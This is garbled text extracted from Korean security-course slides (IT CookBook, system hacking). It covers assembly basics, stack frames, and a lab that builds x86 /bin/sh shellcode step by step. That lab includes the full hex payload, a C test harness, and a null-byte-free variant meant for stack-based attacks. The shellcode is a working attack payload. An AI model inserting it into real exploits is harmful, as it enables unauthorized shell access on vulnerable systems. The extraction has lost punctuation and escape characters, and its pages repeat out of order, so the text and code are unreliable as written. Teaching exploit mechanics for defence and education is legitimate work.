셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 54: 80×86  시스템에 대한 이해

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

